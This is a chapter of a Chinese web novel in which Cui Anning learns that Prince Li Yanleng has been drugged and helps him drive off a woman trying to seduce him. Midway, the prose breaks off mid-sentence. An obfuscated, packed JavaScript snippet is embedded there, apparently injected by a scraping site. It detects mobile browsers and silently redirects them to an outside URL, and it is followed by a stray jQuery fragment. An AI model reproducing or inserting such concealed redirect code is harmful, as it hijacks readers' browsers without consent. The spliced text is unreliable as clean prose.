崔安宁顶着红狐裘帽出来,春杏着急的追了上来,“小姐,你怎么从世子的房间里出来?”
她忽然愣住,看着这个房间,一脸疑惑。原来这是世子的房间。
春杏指了指她脑袋上的帽子,“好漂亮的帽子啊,谁送的呀?”她一脸八卦兴奋的问道。
“我……我捡的你信吗?”崔安宁道。
春杏一脸不信,往世子房门看了眼,又惊奇又疑惑,“小姐,莫不是世子送的?”
“哎,你哪这么多话。”崔安宁半是嫌弃的说道,“不是不是,都不是,别乱猜了。”
屋内忽然传出稀里哗啦的声音,像是有什么东西倒地。
春杏一把拉住了正要走的崔安宁,“小姐,世子房里好像有声音。”
崔安宁也凑了上去,趴在门上,只听里面丁零当啷的脆响,她敲了敲门问道,“李晏棱?发生什么事了?”
“没……没事。”李晏棱的声音听起来很难受。
崔安宁感觉出有些不对劲,推着门想进去,门却推不动,从里面被锁住了。明显的,屋内的人不想让人进去。
“真没事吗?”崔安宁狐疑的再问了遍,不理解怎么会有人生病了把自己关在门里的。
“嗯。”里面又沉又闷的应道。
春杏拉着崔安宁往外走,满脸急切,看起来有很重要的事,“小姐,婢子来找你有很重要的事。”
崔安宁被她拉扯着往前走,一边回头看屋里的李晏棱,既然他说没事应该就不用管吧。晏王府里这么多小厮供他差遣,要是有事他定会找人的。
这么想着,她安心了不少。问道春杏,“什么事?”
“二小姐跟孟小姐打起来了,婢子怎么劝都劝不动。”春杏道。
崔安宁被她拉着急匆匆的赶到孟玉柔房中,看见在地上扭打在一起的两个人,眼里盛满了惊讶。她何时见过崔安容这副凌乱狼狈的样子,滚在地上,发丝凌乱,妆容花了一脸。
她没忍住,噗嗤笑了一声。
地上被抓着腿,动弹不得的崔安容,听到笑声幽怨的抬头,目光死死的瞪了过去。
小月在一旁拉扯着,好不容易才把孟玉柔拉开。她生气崔安宁只是在一旁看着,却敢怒不敢言,哪有婢子教训主子的道理。
但孟玉柔一直叫喊着,“我要替安宁打死你,打死你。”
小月听到这话,只好向崔安宁求助。听起来像是崔安宁指使孟玉柔去打人的。
连安宁自己也奇怪的瞪大了双眼,心想自己怎么又无辜躺枪了。孟玉柔精神状态不好是真的,说的话不可相信。但为何要说替安宁打人。
安宁头上有点黑线,抚了抚额。
小月道,“大小姐,有什么事您也不能指使一个疯子打二小姐啊,婢子知道您一直对二小姐有气,二小姐比您先升为妃,可这也不是二小姐的错,要怪只能怪二小姐生的美丽,性子温顺得陛下得喜欢。”
崔安宁简直要被气笑了,这人倒打一耙就算了,还顺带夸一把自己二小姐。
“你哪只狗眼睛看见我指使玉柔了,她本就容易急躁,说的话也是稀里糊涂的,若不是你指使她这么说的?”崔安宁道。
她更好奇,自己不在的时候发生了什么。
但好歹这么打下去也不是办法,安宁只好去地上扶起孟玉柔,去安抚她的情绪。
孟玉柔死死的抓着安宁的手,双目怒瞪着崔安容,抬手指着她,“她做坏事了,她是个坏人。”
崔安容起身后整理了自己的头发,气的满脸通红,“疯子,这就是个疯子!”
孟玉柔回嘴她,“你才是疯子。”她激动的想拿起手边的东西去砸崔安容,找了半天没找到东西,抓了一团空气扔了过去。
崔安宁差点被她逗笑了。
“小月,我们走。”崔安容收拾好自己,想赶紧离这个疯子远一点。
孟玉柔想扑上去,好在被安宁抓住了。安抚了好一会,孟玉柔才冷静下来。
“玉柔,你刚刚说的是真的吗?崔安容做了什么坏事?”安宁边安抚她边问道。
孟玉柔忽然不说话了,只是呆愣愣的摆弄着自己的衣摆,看起来又陷入了思绪不清晰的时候。这个时候不能再问她,安宁便起身,打算让她静一静。
她起身正要往外走,忽然孟玉柔的神智又清晰了一些,一把拽住了她的衣角。
“安宁,安宁,那个贱人做了坏事!”孟玉柔大喊大叫道。
她很激动,吵着嚷着,差点把安宁的衣角拽破了。
安宁只好蹲下身,继续安抚她,玉儿走上前,也在安抚,“主子刚才被崔安容甩了一巴掌,受了不小的刺激。”
崔安宁这个时候才看见孟玉柔的脸侧有一个很明显的手掌印。
五指清晰,可想而知,甩下的力气有多大。这倒是出乎安宁的预料,崔安容在别人面前一向装的柔弱,怎么会当着这么多人的面暴露自己不好的模样。
一定是孟玉柔发现极为重要的事了。
这样想的七上八下的,崔安宁心里也有点着急,想知道崔安容做了什么。
安抚了好一会,孟玉柔终于冷静了许多,也能说些正常的话了。她拉着安宁的手说道,“安宁,你快去救救李世子,他,他被下药了。”
“啊?”安宁满脸疑惑。
李晏棱被下药了?刚才不还好好的嘛。
“玉柔,你是不是听错了?”安宁忍不住问道。
“没有,我方才就是很清楚的听到崔安容和她的婢子说,世子现在多半药效发作了。”孟玉柔说的很清楚,一字一句的清晰,不像胡言乱语。
崔安宁闻言赶紧起身,让春杏照顾她,自己急匆匆的去世子的房间。
李晏棱的房间门是关上的,刚才就上了锁。崔安宁正靠近,就听到门里又沉又怒的一句呵斥,“滚开!”
很大一声,把她吓了一跳。
听声音是李晏棱的声音,但从没听到他这么愤怒的语气。
崔安宁赶紧去敲门。
刚敲下,吱嘎一声,门自己开了,根本没关。
安宁走上前,轻轻推开一条缝,往里窥视。看见李晏棱躺在一张榻上,一个穿着华丽的女子站在他面前,不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035910|192470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道在干什么。
但李晏棱好像很讨厌她,将手边能砸过去的东西都扔了上去,像是在驱赶。
看起来李晏棱中气十足,根本不需要救啊。
崔安宁这会又想怀疑孟玉柔说的话是不是真的,要是下了药,还能是这副随时能跳起来暴打人的样子么,不应该躺在床上奄奄一息么。
悄咪咪的看完八卦后,崔安宁正想退去,小心的掩上门,房里的人似乎注意到了她,朝她喊道,“站住。”
崔安宁脚下一顿,站住了。
回头看了看,李晏棱那双锋利的剑眉扫向她,竟然还有些许的庆幸,似轻轻松了口气。
他道,“安宁,你进来。”
崔安宁听着他指名道姓,想跑也跑不掉,只好转头,开了门进去。
屋里的似乎有些燥热,走进时,安宁才看见那女人,长得眉清目秀,是个标准的美人。很陌生的面容,她还猜测这是世子的哪位故人。
下一秒,世子拉着她的衣摆,同她说道,“你把这人轰出去。”
崔安宁愣住了,看了看那位美人,又看了看半躺在榻上,似乎衣服还被扯松了的世子,心道,自己是来当搅屎棍的么。
“不,不好吧……”崔安宁可不想莫名其妙的当个恶人,虽然不清楚究竟发生了什么,可这女子一看眼神,对世子含情脉脉。就算头上被砸出一个大包还不忍离去。
那女子颇有敌意的看了眼崔安宁,好像她是来抢人的。
崔安宁连忙摆手道,“别误会,我就是路过来看看,你们继续。”
她抬腿正要走,被李晏棱一把扯住。
李晏棱的力气很大,扯着她的衣袖完全逃脱不开,想走只能把衣袍撕坏了。
“不是,世子您有话好好说,别扯我呀。”安宁头顶着黑线。
李晏棱冷冽的语气响起,“让她滚出去!”
那女子赶紧跪地拜了拜,“世子大人,奴家就是来伺候您的,您千万不要赶奴家走。”
啧啧。崔安宁觉得自己左右不是人,她就不该来。
“不好意思啦美女,门在那边,您请自己出去吧。”崔安宁朝她笑了笑。
她确实不像破坏人的一厢情愿,但谁让世子扯住她后腿了。这女人不出去,她也走不了,耗在这来个人看了多尴尬啊,还以为上演三角恋呢。
那位女子掩着脸,瞪了好几眼。
直到李晏棱斥道一声,“再不滚别怪我剑下不留情。”
女子才讪讪离去。
走的时候,她还很‘贴心’的把门关上了。
“可以放手了吧?”崔安宁斜睨了李晏棱一眼,他才松了紧攥着她裙角的手。
李晏棱窝在矮榻上,似乎浑身难受,蜷着身子,手背青筋暴露,还镀上一层薄红,脸也红的异常。
“你没事吧?我就是听说你被下药了,过来看看有没有事。”崔安宁垂眸看了他一眼,好像没什么事的样子,晏王府里的小厮这么多,也轮不到她来费心。
她刚走了两步,李晏棱扯着她的手,掌心扯的用力。安宁猝不及防的跌进了他的怀里。